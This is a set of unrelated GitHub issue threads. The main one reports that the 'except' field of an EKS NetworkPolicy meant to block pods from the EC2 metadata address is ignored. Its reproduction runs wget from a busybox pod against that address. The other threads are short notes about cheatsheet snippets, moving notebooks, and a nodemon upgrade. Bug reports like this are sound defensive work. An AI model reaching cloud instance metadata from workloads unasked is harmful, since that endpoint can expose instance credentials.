In an EKS cluster running Kubernetes version v1.25. Also with the VPC CNI plugin v1.15.0 .

Create a busybox pod in a namespace of your choice. Apply the below manifest:

apiVersion: v1
kind: Pod
metadata:
  name: busybox-pod
  labels:
    app: busybox
spec:
  containers:
  - name: busybox
    image: busybox
    command:
      - sleep
      - "3600"

Apply the NetworkPolicy manifest mentioned above:

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: block-ec2-metadata
spec:
  egress:
    - to:
      - ipBlock:
          cidr: <IP_ADDRESS>/0
          except:
            - <IP_ADDRESS>/32
  podSelector:
    matchLabels: {}
  policyTypes:
    - Egress

Exec into the busybox pod and test the connection to the restricted IP:

%   kubectl exec -it busybox-pod -- sh

/ #   wget <IP_ADDRESS>

The response from wget will be a code other than 5xx, indicating that the restricted IP is still reachable.
View the /var/log/aws-routed-eni/network-policy-agent.log on the host node for the busybox pod. You will notice that a connection to the denied IP was allowed

Anything else we need to know?:

I have tried adding an explicit deny NetworkPolicy on top of my own policy, just to ensure that the excepted IP still follows the default behaviour which is to DENY the traffic: kubectl apply -f https://eksworkshop.com/beginner/120_network-policies/calico/stars_policy_demo/apply_network_policies.files/default-deny.yaml

Certain NetworkPolicies do work with my current setup, e.g. I can successfully restrict Egress traffic to a specific IP range. But the except field doesn't appear to do anything with the VPC CNI NetworkPolicy controller.

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: this-works-as-expected
spec:
  egress:
    - to:
      - ipBlock:
          cidr: <IP_ADDRESS>/16
  podSelector:
    matchLabels: {}
  policyTypes:
    - Egress

Environment:

Kubernetes version (use kubectl version): 1.25
CNI Version: 1.15.0
OS (e.g: cat /etc/os-release): Amazon Linux 2
Kernel (e.g. uname -a): Linux ip-****.eu-west-2.compute.internal 5.10.186-179.751.amzn2.x86_64 aws/amazon-vpc-cni-k8s#1 SMP Tue Aug 1 20:51:38 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

Closing now that VPC CNI v1.15.1 is released on GitHub: https://github.com/aws/amazon-vpc-cni-k8s/releases/tag/v1.15.1. This release contains the Network Policy agent v1.0.4 image tag


Feature/cheatsheet snippets

@hhkaos

I also noticed if you don't add text-wrap: wrap;to #output-body in the CSS some script won't show properly. Example:

@Estela-Ex with the last changes to master branch, this application breaks. I think the reason is:

We have removed the scss.json file
And some snippets prefix now contains an array instead of a string (e.g. ["featureReductionClusterProps", "clusterConfig"]). In these cases we should display the first element of the array.

If you need any additional help, let me know.
Thanks!

@hhkaos I did the request changes

Thank you very much for your contributions @Estela-Ex! This, I believe, will greatly help us in improving the documentation and use of this extension. I'm sure the entire user community appreciates the effort you've done! ❤


File structures

Should the jupyter notebooks (now in rood directory) be inside a directory figures (as the Readme suggests)?

The jupyter notebooks have been moved to the figures directory.

The jupyter notebooks have been moved to the figures directory.


Update nodemon

Currently it is frozen on 1.7.3 due to issue https://github.com/remy/nodemon/issues/702

1.8.1 solves the problem - it was probably caused by https://github.com/remy/nodemon/issues/710

Fixed.